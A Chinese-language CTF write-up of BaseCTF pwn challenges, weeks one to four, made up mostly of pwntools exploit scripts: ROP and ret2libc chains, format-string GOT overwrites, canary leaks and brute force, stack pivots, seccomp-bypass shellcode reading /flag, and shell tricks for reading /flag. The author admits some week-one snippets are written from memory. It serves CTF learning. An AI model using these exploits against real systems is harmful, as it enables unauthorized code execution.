pwn这块会略写,毕竟只有有用的才需要记。
week1
我把他丢了
溢出,很小的ROP,有bin/sh和system
p.sendafter(b'\n', b'\0'*0x78+flat(pop_rdi, bin_sh, 0x40120f)
Ret2text
溢出到后门
p.send(b'\0'*0x28+flat(0x4011a9))
shellcode_level0
直接运行shellcode
p.send(asm(shellcraft.sh()))
签个到吧
略
echo
只有echo命令,我一开始不会。别人说的用<定向到变量再echo
echo `< /flag`
或
a = $(< /flag)
echo a
或
$a ;连echo都不用
彻底失去她
有system没有bin/sh需要先调用read读入/bin/sh到bss,再system(/bin/sh)
p.send(b'a'*(0xa+8)+flat(pop_rdi,0,pop_rdi,elf.bss()+0x100,pop_rdx,8,elf.plt['read'],pop_rdi,elf.bss()+0x100, elf.plt['system']))
第一周过于简单,好些没作,只是凭相像写的句子,大概意思,不一定能直接用,可能需要微调。
week2
gift
这个gift啥都给了,直接syscall 59
b'A'*0x28 + flat(pop_rdi,0,pop_rsi,bin_sh,pop_rdx,8,0, pop_rax,0,syscall, pop_rdi,bin_sh,pop_rsi,0,pop_rdx,0,0,pop_rax,59,syscall)
format_string_level0
%8$s
format_string_level1
p.sendline(b'...%7$n\0'+p64(0x4040b0))
shellcode1
残留的寄存器正好够read,先写syscall,再读入后续的shellcode
p.send(b'\x0f\x05')
p.send(b'\x90'*2 + asm(shellcraft.sh()))
她与你皆失
传统的两步走先泄露libc再getshell
from pwn import *
context(arch='amd64', log_level='debug')
pop_rbp = 0x000000000040115d # pop rbp ; ret
pop_rdi = 0x0000000000401176 # pop rdi ; ret
pop_rdx = 0x0000000000401221 # pop rdx ; ret
pop_rsi = 0x0000000000401178 # pop rsi ; ret
elf = ELF('./pwn')
#p = process('./pwn')
p = remote('challenge.basectf.fun', 42829)
p.sendafter(b'\n', b'A'*(10+8) + flat(pop_rdi, elf.got['read'], elf.plt['puts'], elf.sym['main']))
libc_base= u64(p.recv(6)+b'\0'*2) - 0x1147d0
print(f"{libc_base = :x}")
bin_sh = libc_base + 0x1d8678
system = libc_base + 0x50d70
p.sendafter(b'\n', b'A'*(10+8) + flat(pop_rdi+1, pop_rdi, bin_sh, system))
p.sendline(b'cat flag')
p.interactive()
week3
PIE
程序开了PIE,导致加载地址随机化,无法直接用gadget,但溢出后可以得到libc,再通过被修改的尾字节,使程序重入,利用libc里的gadget作ROP
尾字节可以修改的方法很多,可以直接从汇编里往前看,这是往前一点点修改成76就可以直接重启。
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
p = process('./vuln')
p.send(b'A'*0x108+b'\x76')
p.recvuntil(b'A'*0x108)
libc.address = u64(p.recv(6)+b'\0\0') - 0x29d76
print(f"{libc.address = :x}")
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
p.send(b'A'*0x108 + flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh')), libc.sym['system']))
p.interactive()
format_string_level2
有格式化字符串漏洞,但是没有return,所以这里泄露地址后用printf修改printf的返回地址,然后执行ROP,但是由于printf的字符串占用空间,不够写ROP,所以在返回地址写ppp6,跳过串前边执行的部分,跳到后边执行ROP
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
#p = process('./p2_format_string_level2')
#gdb.attach(p, "b*0x401230\nc")
p = remote('challenge.basectf.fun', 24093)
p.send(b'%41$p,%45$p,')
libc.address = int(p.recvuntil(b',', drop=True),16) - 0x29d90
stack = int(p.recvuntil(b',', drop=True),16) - 0x230
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh = libc.address + 0x1d8678
system = libc.address + 0x50d70
ppp6 = libc.address + 0x00000000001268f0 # pop rcx ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
v1 = ppp6&0xffff
v2 = (ppp6>>16)&0xffff
v3 = ppp6>>32
pay = f'%{v1}c%15$ln%{(v2-v1)&0xffff}c%16$hn%{(v3-v2)&0xffff}c%17$hn'.encode().ljust(0x30,b'\x00')+flat(pop_rdi,bin_sh,system,stack,stack+2,stack+4)
p.send(pay)
p.interactive()
#BaseCTF{2731c5a1-426c-4856-9fc3-77590a682edc}
为什么不让我溢出
canary保护机制,在栈低加canary,在返回时检查canary是否正常,以避免程序溢出。构造适当的PAY,先带出canary再溢出。
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
#p = process('./p3_vuln')
#gdb.attach(p, "b*0x401277\nc")
p = remote('challenge.basectf.fun', 23372)
p.send(b'A'*(104+1))
p.recvuntil(b'A'*105)
canary = b'\0'+p.recv(7)
print(canary.hex())
p.send(b'A'*104+ flat(canary,0, 0x4011bb))
p.interactive()
stack_on_stack
栈只溢出到rbp+ret所以要移栈执行ROP,先向前移泄露地址再read移,这回的read移栈还是移到rbp_ret处执行也是不够长也要跟开始一样移到头部执行头部的ROP
为便于理解,里边的数字标出行顺序
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
#p = process('./attachment')
#gdb.attach(p, "b*0x4012f2\nc")
p = remote('challenge.basectf.fun', 42117)
p.recvline()
buf = int(p.recvline(),16)
leave_ret = 0x4012f2
# buf buf+10 buf+20 buf+30
p.send(flat(buf+0x10,0x4011cb, buf+0x50,0x4012b5, 0,0, buf,leave_ret))
# 2:printf(&puts) 3:read_leaveret 1:go buf
#移栈到开头,执行隐藏函数泄露libc,再将pay读入后部
p.recvline()
libc.address = int(p.recvline(),16) - libc.sym['puts']
print(f"{libc.address = :x}")
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh = libc.address + 0x1d8678
# buf+20 buf+30 buf+40 buf+50
p.send(flat(pop_rdi,bin_sh,libc.sym['system'],0, 0,0, buf+0x18,leave_ret))
# 5:system 4:go buf+20
p.interactive()
five
这题啥时候上了,在发现的时候已经结束了。
五子棋胜出没有难度,但后边要求只能走两步。输入位置的时候允许负数有前溢出,在4020,4040处放的是向8个方向遍历,检查是否连成5子。输入适当数字,使其覆盖方向指针。当指针不动时会使仅有1个子就检查通过。
先随便输入1个子,再输入0,-5959其它横竖方向指针只要是-1都可以覆盖。
week4
orz!
禁用了open,read,write的shellcode,用openat,readv,writev绕过
from pwn import *
context(arch='amd64', log_level='debug')
p = process('./orz')
gdb.attach(p, "b*0x5555555553bd\nc")
#p = remote('challenge.basectf.fun', 48710)
#pay = shellcraft.openat(0, '/flag') + shellcraft.sendfile(1,3,0,0x50)
pay = f'''
/* openat */
push {ord('t')}; mov rax,0x{b'/flag.tx'[::-1].hex()};push rax;
push rsp; pop rsi;
xor rdi,rdi;xor rdx,rdx;
push 0x101; pop rax;
syscall;
/* ioc */
push 0x70;
push rsp;pop rax;add rax,0x10;push rax;push rsp;pop rsi;
/* readv */
push 3; pop rdi;
push 1; pop rdx;
push 19;pop rax;
syscall;
/* writev */
push 1; pop rdi;
push 20; pop rax;
syscall;
'''
#p.sendafter(b'Enter your shellcode:\n', asm(pay))
p.send(asm(pay))
p.interactive()
'''
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010
0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010
0008: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
'''
ezstack
给了一次过的gadget : add [rbp+0x3d],ebx ,利用这个将got.gets修改为system再调用gets
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
elf = ELF('./pwn')
#p = process('./pwn')
#gdb.attach(p, "b*0x40068c\nc")
p = remote('challenge.basectf.fun', 25683)
pop_rdi = 0x00000000004006f3 # pop rdi ; ret
ppp6 = 0x4006ea #rbx,rbp,r12,r13,r14,r15
add_rbx = 0x400658 #add [rbp-0x3d],rbx
bss = 0x601800
pay = flat([0,0,
pop_rdi, bss, elf.plt['gets'], #read /bin/sh->bss
ppp6, (libc.sym['system']-libc.sym['_IO_gets'])&0xffffffff, elf.got['gets']+0x3d, 0,0,0,0, add_rbx, #got.puts->system
pop_rdi, bss, elf.plt['gets']])
p.sendline(pay)
p.sendline(b'/bin/sh\0')
p.interactive()
format_string_level3
格式化字符串题,但只执行1次,所以第1次要泄露+造重入。
先将got.stack_fail改为main并且通过溢出覆盖canary调用stack_check_fail重入
第2步在pay里写ROP,并通过printf将返回写成移栈。
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
elf = ELF('./vuln')
#p = process('./vuln')
#gdb.attach(p, "b*0x40127f\nc")
p = remote('challenge.basectf.fun', 27688)
#__stack_chk_fail
pay = f'%{0x12}c%14$hhn%{0x1b-0x12}c%15$hhn%{0x40-0x1b}c%16$hhn START%41$p,%45$p,%39$p,'.encode().ljust(0x40, b'\x00')
pay+= flat(elf.got['__stack_chk_fail']+1,elf.got['__stack_chk_fail'],elf.got['__stack_chk_fail']+2)
p.sendafter(b'---\n', pay.ljust(0x108, b'\x00')+ b'A')
p.recvuntil(b"START")
libc.address = int(p.recvuntil(b',', drop=True),16) - 0x29d90
stack = int(p.recvuntil(b',', drop=True),16) - 0x118
canary = int(p.recvuntil(b',', drop=True),16) - 0x41
print(f"{libc.address = :x} {stack = :x} {canary = :x}")
leave_ret = 0x401298
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']
stack -= 0x120
pay = fmtstr_payload(6,{stack:stack -0x30-0x18, stack+8: leave_ret}).ljust(0x100-0x30, b'\0')+flat(pop_rdi, bin_sh, system)
p.sendafter(b'---\n', pay)
p.interactive()
no_canary
进程里的canary爆破+libc随机数,每次随机数正确可运行1次,爆破canary
from pwn import *
from ctypes import *
import time
clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
elf = ELF('./pwn4')
#p = process('./pwn4')
for i in range(-10,10):
clibc.srand(int(time.time())+i)
p = remote('challenge.basectf.fun', 21727)
try:
p.sendlineafter(b"to BaseCTF\n", str(clibc.rand()%50).encode())
p.sendafter(b'welcome\n',b'a'*8)
print(i)
break
except:
p.close()
continue
canary = b'\x00'
for i in range(7):
for j in range(256):
p.sendlineafter(b"to BaseCTF\n", str(clibc.rand()%50).encode())
p.sendafter(b'welcome\n',b'a'*0x68+canary+bytes([j]))
s = p.recv(3)
if s != b'***':
canary += bytes([j])
break
print(canary.hex())
log_level = 'debug'
#gdb.attach(p, "set follow-fork-mode child\nb*0x55555555534d\nc")
for i in range(16):
p.sendlineafter(b"to BaseCTF\n", str(clibc.rand()%50).encode())
p.sendafter(b'welcome\n',b'a'*0x68+canary+p64(0)+p16((0x12b1 + i*0x1000)&0xffff))
#break
p.interactive()